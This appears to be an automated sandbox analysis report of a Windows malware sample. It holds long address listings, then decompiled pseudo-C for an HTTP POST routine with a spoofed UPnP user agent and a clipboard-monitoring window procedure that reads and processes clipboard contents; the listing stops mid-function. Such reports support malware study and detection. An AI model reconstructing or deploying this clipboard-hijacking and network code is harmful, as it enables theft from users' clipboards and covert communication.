                                                                                                                                                                                                                                                                                                                                                      0x00406c13
                                                                                                                                                                                                                                                                                                                                                      0x00406c1e
                                                                                                                                                                                                                                                                                                                                                      0x00406c29
                                                                                                                                                                                                                                                                                                                                                      0x00406c2c
                                                                                                                                                                                                                                                                                                                                                      0x00406c37
                                                                                                                                                                                                                                                                                                                                                      0x00406c42
                                                                                                                                                                                                                                                                                                                                                      0x00406c45
                                                                                                                                                                                                                                                                                                                                                      0x00406c48
                                                                                                                                                                                                                                                                                                                                                      0x00406c4c
                                                                                                                                                                                                                                                                                                                                                      0x00406c53
                                                                                                                                                                                                                                                                                                                                                      0x00406c59
                                                                                                                                                                                                                                                                                                                                                      0x00406c5c
                                                                                                                                                                                                                                                                                                                                                      0x00406c5f
                                                                                                                                                                                                                                                                                                                                                      0x00406c76
                                                                                                                                                                                                                                                                                                                                                      0x00406c79
                                                                                                                                                                                                                                                                                                                                                      0x00406c7c
                                                                                                                                                                                                                                                                                                                                                      0x00406c7f
                                                                                                                                                                                                                                                                                                                                                      0x00406c90
                                                                                                                                                                                                                                                                                                                                                      0x00406c93
                                                                                                                                                                                                                                                                                                                                                      0x00406c96
                                                                                                                                                                                                                                                                                                                                                      0x00406c99
                                                                                                                                                                                                                                                                                                                                                      0x00406c9c
                                                                                                                                                                                                                                                                                                                                                      0x00406c9f
                                                                                                                                                                                                                                                                                                                                                      0x00406cb8
                                                                                                                                                                                                                                                                                                                                                      0x00406cbb
                                                                                                                                                                                                                                                                                                                                                      0x00406cbe
                                                                                                                                                                                                                                                                                                                                                      0x00406cc1
                                                                                                                                                                                                                                                                                                                                                      0x00406cc4
                                                                                                                                                                                                                                                                                                                                                      0x00406cc7
                                                                                                                                                                                                                                                                                                                                                      0x00406cec
                                                                                                                                                                                                                                                                                                                                                      0x00406cef
                                                                                                                                                                                                                                                                                                                                                      0x00406cfa
                                                                                                                                                                                                                                                                                                                                                      0x00406d05
                                                                                                                                                                                                                                                                                                                                                      0x00406d08
                                                                                                                                                                                                                                                                                                                                                      0x00406d13
                                                                                                                                                                                                                                                                                                                                                      0x00406d1e
                                                                                                                                                                                                                                                                                                                                                      0x00406d21
                                                                                                                                                                                                                                                                                                                                                      0x00406d24
                                                                                                                                                                                                                                                                                                                                                      0x00406d28
                                                                                                                                                                                                                                                                                                                                                      0x00406d2f
                                                                                                                                                                                                                                                                                                                                                      0x00406d35
                                                                                                                                                                                                                                                                                                                                                      0x00406d38
                                                                                                                                                                                                                                                                                                                                                      0x00406d3b
                                                                                                                                                                                                                                                                                                                                                      0x00406d52
                                                                                                                                                                                                                                                                                                                                                      0x00406d55
                                                                                                                                                                                                                                                                                                                                                      0x00406d58
                                                                                                                                                                                                                                                                                                                                                      0x00406d5b
                                                                                                                                                                                                                                                                                                                                                      0x00406d6c
                                                                                                                                                                                                                                                                                                                                                      0x00406d6f
                                                                                                                                                                                                                                                                                                                                                      0x00406d72
                                                                                                                                                                                                                                                                                                                                                      0x00406d75
                                                                                                                                                                                                                                                                                                                                                      0x00406d78
                                                                                                                                                                                                                                                                                                                                                      0x00406d7b
                                                                                                                                                                                                                                                                                                                                                      0x00406d94
                                                                                                                                                                                                                                                                                                                                                      0x00406d97
                                                                                                                                                                                                                                                                                                                                                      0x00406d9a
                                                                                                                                                                                                                                                                                                                                                      0x00406d9d
                                                                                                                                                                                                                                                                                                                                                      0x00406da0
                                                                                                                                                                                                                                                                                                                                                      0x00406da3
                                                                                                                                                                                                                                                                                                                                                      0x00406dc8
                                                                                                                                                                                                                                                                                                                                                      0x00406dcb
                                                                                                                                                                                                                                                                                                                                                      0x00406dd6
                                                                                                                                                                                                                                                                                                                                                      0x00406de1
                                                                                                                                                                                                                                                                                                                                                      0x00406de4
                                                                                                                                                                                                                                                                                                                                                      0x00406def
                                                                                                                                                                                                                                                                                                                                                      0x00406dfa
                                                                                                                                                                                                                                                                                                                                                      0x00406dfd
                                                                                                                                                                                                                                                                                                                                                      0x00406e00
                                                                                                                                                                                                                                                                                                                                                      0x00406e04
                                                                                                                                                                                                                                                                                                                                                      0x00406e0b
                                                                                                                                                                                                                                                                                                                                                      0x00406e11
                                                                                                                                                                                                                                                                                                                                                      0x00406e14
                                                                                                                                                                                                                                                                                                                                                      0x00406e17
                                                                                                                                                                                                                                                                                                                                                      0x00406e2e
                                                                                                                                                                                                                                                                                                                                                      0x00406e31
                                                                                                                                                                                                                                                                                                                                                      0x00406e34
                                                                                                                                                                                                                                                                                                                                                      0x00406e37
                                                                                                                                                                                                                                                                                                                                                      0x00406e48
                                                                                                                                                                                                                                                                                                                                                      0x00406e4b
                                                                                                                                                                                                                                                                                                                                                      0x00406e4e
                                                                                                                                                                                                                                                                                                                                                      0x00406e51
                                                                                                                                                                                                                                                                                                                                                      0x00406e54
                                                                                                                                                                                                                                                                                                                                                      0x00406e57
                                                                                                                                                                                                                                                                                                                                                      0x00406e70
                                                                                                                                                                                                                                                                                                                                                      0x00406e73
                                                                                                                                                                                                                                                                                                                                                      0x00406e76
                                                                                                                                                                                                                                                                                                                                                      0x00406e79
                                                                                                                                                                                                                                                                                                                                                      0x00406e7c
                                                                                                                                                                                                                                                                                                                                                      0x00406e7f
                                                                                                                                                                                                                                                                                                                                                      0x00406ea4
                                                                                                                                                                                                                                                                                                                                                      0x00406ea7
                                                                                                                                                                                                                                                                                                                                                      0x00406eb2
                                                                                                                                                                                                                                                                                                                                                      0x00406ebd
                                                                                                                                                                                                                                                                                                                                                      0x00406ec0
                                                                                                                                                                                                                                                                                                                                                      0x00406ecb
                                                                                                                                                                                                                                                                                                                                                      0x00406ed6
                                                                                                                                                                                                                                                                                                                                                      0x00406ed9
                                                                                                                                                                                                                                                                                                                                                      0x00406edc
                                                                                                                                                                                                                                                                                                                                                      0x00406ee0
                                                                                                                                                                                                                                                                                                                                                      0x00406ee7
                                                                                                                                                                                                                                                                                                                                                      0x00406eed
                                                                                                                                                                                                                                                                                                                                                      0x00406ef0
                                                                                                                                                                                                                                                                                                                                                      0x00406ef3
                                                                                                                                                                                                                                                                                                                                                      0x00406f0a
                                                                                                                                                                                                                                                                                                                                                      0x00406f0d
                                                                                                                                                                                                                                                                                                                                                      0x00406f10
                                                                                                                                                                                                                                                                                                                                                      0x00406f13
                                                                                                                                                                                                                                                                                                                                                      0x00406f24
                                                                                                                                                                                                                                                                                                                                                      0x00406f27
                                                                                                                                                                                                                                                                                                                                                      0x00406f2a
                                                                                                                                                                                                                                                                                                                                                      0x00406f2d
                                                                                                                                                                                                                                                                                                                                                      0x00406f30
                                                                                                                                                                                                                                                                                                                                                      0x00406f33
                                                                                                                                                                                                                                                                                                                                                      0x00406f4c
                                                                                                                                                                                                                                                                                                                                                      0x00406f4f
                                                                                                                                                                                                                                                                                                                                                      0x00406f52
                                                                                                                                                                                                                                                                                                                                                      0x00406f55
                                                                                                                                                                                                                                                                                                                                                      0x00406f58
                                                                                                                                                                                                                                                                                                                                                      0x00406f5b
                                                                                                                                                                                                                                                                                                                                                      0x00406f80
                                                                                                                                                                                                                                                                                                                                                      0x00406f83
                                                                                                                                                                                                                                                                                                                                                      0x00406f8e
                                                                                                                                                                                                                                                                                                                                                      0x00406f99
                                                                                                                                                                                                                                                                                                                                                      0x00406f9c
                                                                                                                                                                                                                                                                                                                                                      0x00406fa7
                                                                                                                                                                                                                                                                                                                                                      0x00406fb2
                                                                                                                                                                                                                                                                                                                                                      0x00406fb5
                                                                                                                                                                                                                                                                                                                                                      0x00406fb8
                                                                                                                                                                                                                                                                                                                                                      0x00406fbc
                                                                                                                                                                                                                                                                                                                                                      0x00406fc3
                                                                                                                                                                                                                                                                                                                                                      0x00406fc9
                                                                                                                                                                                                                                                                                                                                                      0x00406fcc
                                                                                                                                                                                                                                                                                                                                                      0x00406fcf
                                                                                                                                                                                                                                                                                                                                                      0x00406fe6
                                                                                                                                                                                                                                                                                                                                                      0x00406fe9
                                                                                                                                                                                                                                                                                                                                                      0x00406fec
                                                                                                                                                                                                                                                                                                                                                      0x00406fef
                                                                                                                                                                                                                                                                                                                                                      0x00407000
                                                                                                                                                                                                                                                                                                                                                      0x00407003
                                                                                                                                                                                                                                                                                                                                                      0x00407006
                                                                                                                                                                                                                                                                                                                                                      0x00407009
                                                                                                                                                                                                                                                                                                                                                      0x0040700c
                                                                                                                                                                                                                                                                                                                                                      0x0040700f
                                                                                                                                                                                                                                                                                                                                                      0x00407028
                                                                                                                                                                                                                                                                                                                                                      0x0040702b
                                                                                                                                                                                                                                                                                                                                                      0x0040702e
                                                                                                                                                                                                                                                                                                                                                      0x00407031
                                                                                                                                                                                                                                                                                                                                                      0x00407034
                                                                                                                                                                                                                                                                                                                                                      0x00407037
                                                                                                                                                                                                                                                                                                                                                      0x0040705c
                                                                                                                                                                                                                                                                                                                                                      0x0040705f
                                                                                                                                                                                                                                                                                                                                                      0x0040706a
                                                                                                                                                                                                                                                                                                                                                      0x00407075
                                                                                                                                                                                                                                                                                                                                                      0x00407078
                                                                                                                                                                                                                                                                                                                                                      0x00407083
                                                                                                                                                                                                                                                                                                                                                      0x0040708e
                                                                                                                                                                                                                                                                                                                                                      0x00407091
                                                                                                                                                                                                                                                                                                                                                      0x00407094
                                                                                                                                                                                                                                                                                                                                                      0x00407098
                                                                                                                                                                                                                                                                                                                                                      0x0040709f
                                                                                                                                                                                                                                                                                                                                                      0x004070a5
                                                                                                                                                                                                                                                                                                                                                      0x004070a8
                                                                                                                                                                                                                                                                                                                                                      0x004070ab
                                                                                                                                                                                                                                                                                                                                                      0x004070c2
                                                                                                                                                                                                                                                                                                                                                      0x004070c5
                                                                                                                                                                                                                                                                                                                                                      0x004070c8
                                                                                                                                                                                                                                                                                                                                                      0x004070cb
                                                                                                                                                                                                                                                                                                                                                      0x004070dc
                                                                                                                                                                                                                                                                                                                                                      0x004070df
                                                                                                                                                                                                                                                                                                                                                      0x004070e2
                                                                                                                                                                                                                                                                                                                                                      0x004070e5
                                                                                                                                                                                                                                                                                                                                                      0x004070e8
                                                                                                                                                                                                                                                                                                                                                      0x004070eb
                                                                                                                                                                                                                                                                                                                                                      0x00407104
                                                                                                                                                                                                                                                                                                                                                      0x00407107
                                                                                                                                                                                                                                                                                                                                                      0x0040710a
                                                                                                                                                                                                                                                                                                                                                      0x0040710d
                                                                                                                                                                                                                                                                                                                                                      0x00407110
                                                                                                                                                                                                                                                                                                                                                      0x00407113
                                                                                                                                                                                                                                                                                                                                                      0x00407138
                                                                                                                                                                                                                                                                                                                                                      0x0040713b
                                                                                                                                                                                                                                                                                                                                                      0x00407146
                                                                                                                                                                                                                                                                                                                                                      0x00407151
                                                                                                                                                                                                                                                                                                                                                      0x00407154
                                                                                                                                                                                                                                                                                                                                                      0x0040715f
                                                                                                                                                                                                                                                                                                                                                      0x0040716a
                                                                                                                                                                                                                                                                                                                                                      0x0040716d
                                                                                                                                                                                                                                                                                                                                                      0x00407170
                                                                                                                                                                                                                                                                                                                                                      0x00407174
                                                                                                                                                                                                                                                                                                                                                      0x0040717b
                                                                                                                                                                                                                                                                                                                                                      0x00407181
                                                                                                                                                                                                                                                                                                                                                      0x00407184
                                                                                                                                                                                                                                                                                                                                                      0x00407187
                                                                                                                                                                                                                                                                                                                                                      0x0040719e
                                                                                                                                                                                                                                                                                                                                                      0x004071a1
                                                                                                                                                                                                                                                                                                                                                      0x004071a4
                                                                                                                                                                                                                                                                                                                                                      0x004071a7
                                                                                                                                                                                                                                                                                                                                                      0x004071b8
                                                                                                                                                                                                                                                                                                                                                      0x004071bb
                                                                                                                                                                                                                                                                                                                                                      0x004071be
                                                                                                                                                                                                                                                                                                                                                      0x004071c1
                                                                                                                                                                                                                                                                                                                                                      0x004071c4
                                                                                                                                                                                                                                                                                                                                                      0x004071c7
                                                                                                                                                                                                                                                                                                                                                      0x004071e0
                                                                                                                                                                                                                                                                                                                                                      0x004071e3
                                                                                                                                                                                                                                                                                                                                                      0x004071e6
                                                                                                                                                                                                                                                                                                                                                      0x004071e9
                                                                                                                                                                                                                                                                                                                                                      0x004071ec
                                                                                                                                                                                                                                                                                                                                                      0x004071ef
                                                                                                                                                                                                                                                                                                                                                      0x00407214
                                                                                                                                                                                                                                                                                                                                                      0x00407217
                                                                                                                                                                                                                                                                                                                                                      0x00407222
                                                                                                                                                                                                                                                                                                                                                      0x0040722d
                                                                                                                                                                                                                                                                                                                                                      0x00407230
                                                                                                                                                                                                                                                                                                                                                      0x0040723b
                                                                                                                                                                                                                                                                                                                                                      0x00407246
                                                                                                                                                                                                                                                                                                                                                      0x00407249
                                                                                                                                                                                                                                                                                                                                                      0x0040724c
                                                                                                                                                                                                                                                                                                                                                      0x00407250
                                                                                                                                                                                                                                                                                                                                                      0x00407257
                                                                                                                                                                                                                                                                                                                                                      0x0040725d
                                                                                                                                                                                                                                                                                                                                                      0x00407260
                                                                                                                                                                                                                                                                                                                                                      0x00407263
                                                                                                                                                                                                                                                                                                                                                      0x0040727a
                                                                                                                                                                                                                                                                                                                                                      0x0040727d
                                                                                                                                                                                                                                                                                                                                                      0x00407280
                                                                                                                                                                                                                                                                                                                                                      0x00407283
                                                                                                                                                                                                                                                                                                                                                      0x00407294
                                                                                                                                                                                                                                                                                                                                                      0x00407297
                                                                                                                                                                                                                                                                                                                                                      0x0040729a
                                                                                                                                                                                                                                                                                                                                                      0x0040729d
                                                                                                                                                                                                                                                                                                                                                      0x004072a0
                                                                                                                                                                                                                                                                                                                                                      0x004072a3
                                                                                                                                                                                                                                                                                                                                                      0x004072bc
                                                                                                                                                                                                                                                                                                                                                      0x004072bf
                                                                                                                                                                                                                                                                                                                                                      0x004072c2
                                                                                                                                                                                                                                                                                                                                                      0x004072c5
                                                                                                                                                                                                                                                                                                                                                      0x004072c8
                                                                                                                                                                                                                                                                                                                                                      0x004072cb
                                                                                                                                                                                                                                                                                                                                                      0x004072ea
                                                                                                                                                                                                                                                                                                                                                      0x004072ed
                                                                                                                                                                                                                                                                                                                                                      0x004072f8
                                                                                                                                                                                                                                                                                                                                                      0x00407303
                                                                                                                                                                                                                                                                                                                                                      0x00407306
                                                                                                                                                                                                                                                                                                                                                      0x00407311
                                                                                                                                                                                                                                                                                                                                                      0x0040731c
                                                                                                                                                                                                                                                                                                                                                      0x0040731f
                                                                                                                                                                                                                                                                                                                                                      0x00407322
                                                                                                                                                                                                                                                                                                                                                      0x00407326
                                                                                                                                                                                                                                                                                                                                                      0x00407332
                                                                                                                                                                                                                                                                                                                                                      0x00407343
                                                                                                                                                                                                                                                                                                                                                      0x00407358
                                                                                                                                                                                                                                                                                                                                                      0x00407362
                                                                                                                                                                                                                                                                                                                                                      0x00407365
                                                                                                                                                                                                                                                                                                                                                      0x0040736e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040736e
                                                                                                                                                                                                                                                                                                                                                      0x00407376
                                                                                                                                                                                                                                                                                                                                                      0x0040737b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040737b

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _allshl_aullshr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 673498613-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 53b05000fcb47fb4bb83fcdc4eb68789ec7a43ad7335467a1139b721eb29842c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: a577a6720b902ca3beb5b2b90bb43ba200a9ed2bee49cdcd4d85fd59d93691f5
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 53b05000fcb47fb4bb83fcdc4eb68789ec7a43ad7335467a1139b721eb29842c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D4D22A79D11619EFCB54CF99C18099EFBF1FF88320F66859AD845AB305C630AA91DF80
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CC50 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040CC50(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408A50(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}






















                                                                                                                                                                                                                                                                                                                                                      0x0040cc59
                                                                                                                                                                                                                                                                                                                                                      0x0040cc63
                                                                                                                                                                                                                                                                                                                                                      0x0040cc78
                                                                                                                                                                                                                                                                                                                                                      0x0040cc7d
                                                                                                                                                                                                                                                                                                                                                      0x0040cc80
                                                                                                                                                                                                                                                                                                                                                      0x0040cc90
                                                                                                                                                                                                                                                                                                                                                      0x0040cc96
                                                                                                                                                                                                                                                                                                                                                      0x0040cca6
                                                                                                                                                                                                                                                                                                                                                      0x0040ccac
                                                                                                                                                                                                                                                                                                                                                      0x0040ccc8
                                                                                                                                                                                                                                                                                                                                                      0x0040cce1
                                                                                                                                                                                                                                                                                                                                                      0x0040ccee
                                                                                                                                                                                                                                                                                                                                                      0x0040cd1a
                                                                                                                                                                                                                                                                                                                                                      0x0040cd27
                                                                                                                                                                                                                                                                                                                                                      0x0040cd50
                                                                                                                                                                                                                                                                                                                                                      0x0040cd5d
                                                                                                                                                                                                                                                                                                                                                      0x0040cd75
                                                                                                                                                                                                                                                                                                                                                      0x0040cd7b
                                                                                                                                                                                                                                                                                                                                                      0x0040cda7
                                                                                                                                                                                                                                                                                                                                                      0x0040cdad
                                                                                                                                                                                                                                                                                                                                                      0x0040cdb7
                                                                                                                                                                                                                                                                                                                                                      0x0040cdd7
                                                                                                                                                                                                                                                                                                                                                      0x0040cde6
                                                                                                                                                                                                                                                                                                                                                      0x0040ce0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ce30
                                                                                                                                                                                                                                                                                                                                                      0x0040ce35
                                                                                                                                                                                                                                                                                                                                                      0x0040ce44
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ce44
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cde6
                                                                                                                                                                                                                                                                                                                                                      0x0040ce58
                                                                                                                                                                                                                                                                                                                                                      0x0040ce58
                                                                                                                                                                                                                                                                                                                                                      0x0040ce61
                                                                                                                                                                                                                                                                                                                                                      0x0040ce61
                                                                                                                                                                                                                                                                                                                                                      0x0040ce6e
                                                                                                                                                                                                                                                                                                                                                      0x0040ce6e
                                                                                                                                                                                                                                                                                                                                                      0x0040ce7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ce7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ce8a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040CC78
                                                                                                                                                                                                                                                                                                                                                      • InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CCC8
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CCDB
                                                                                                                                                                                                                                                                                                                                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CD14
                                                                                                                                                                                                                                                                                                                                                      • HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CD4A
                                                                                                                                                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CD75
                                                                                                                                                                                                                                                                                                                                                      • HttpSendRequestA.WININET(00000000,004108E0,000000FF,00009E34), ref: 0040CD9F
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CDDE
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000000,?,00000000), ref: 0040CE30
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE61
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE6E
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE7B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2761394606-2217117414
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6b9f49c2928066bfe5e192825a7e2d11686b98e062fbe6de84300f8c3c6fdf6c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cb1709aa341c06635a7664d56b3718a2fe4aa2a6be49ece60be182672612c429
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6b9f49c2928066bfe5e192825a7e2d11686b98e062fbe6de84300f8c3c6fdf6c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E512D75901228ABDB26DF54CC94BEA77BCAB48705F1081E9B50DA6280D7B86FC4CF54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404110 Relevance: 25.7, APIs: 17, Instructions: 186clipboardregistryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 465 404110-404132 GetWindowLongW 466 404134-40413b 465->466 467 404156-40415d 465->467 468 404141-404145 466->468 469 4041c7-4041d8 IsClipboardFormatAvailable 466->469 470 404186-40418c 467->470 471 40415f 467->471 476 404164-404181 SetClipboardViewer SetWindowLongW 468->476 477 404147-40414b 468->477 474 4041e3-4041ed IsClipboardFormatAvailable 469->474 475 4041da-4041e1 469->475 472 4041a6-4041aa 470->472 473 40418e-4041a4 SetWindowLongW 470->473 478 404344-40435d DefWindowProcA 471->478 479 4041c2 472->479 480 4041ac-4041bc SendMessageA 472->480 473->479 482 4041f8-404202 IsClipboardFormatAvailable 474->482 483 4041ef-4041f6 474->483 481 40420b-40420f 475->481 476->478 484 404151 477->484 485 4042fd-40433e RegisterRawInputDevices ChangeClipboardChain 477->485 479->478 480->479 487 404215-40421f OpenClipboard 481->487 488 4042df-4042e3 481->488 482->481 486 404204 482->486 483->481 484->478 485->478 486->481 487->488 491 404225-404236 GetClipboardData 487->491 489 4042e5-4042f5 SendMessageA 488->489 490 4042fb 488->490 489->490 490->478 492 404238 491->492 493 40423d-40424e GlobalLock 491->493 492->478 494 404250 493->494 495 404255-404266 493->495 494->478 496 404268-40426c 495->496 497 404289-40429c call 403f20 495->497 498 40429e-4042ae call 404040 496->498 499 40426e-404272 496->499 505 4042b1-4042c5 GlobalUnlock CloseClipboard 497->505 498->505 501 404274 499->501 502 404276-404287 call 403e60 499->502 501->505 502->505 505->488 509 4042c7-4042dc call 403480 call 408b60 505->509 509->488
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 94%
                                                                                                                                                                                                                                                                                                                                                      			E00404110(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						return DefWindowProcA(_a4, _a8, _a12, _a16);
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403F20(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E00404040(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403E60(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
									E00408B60(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
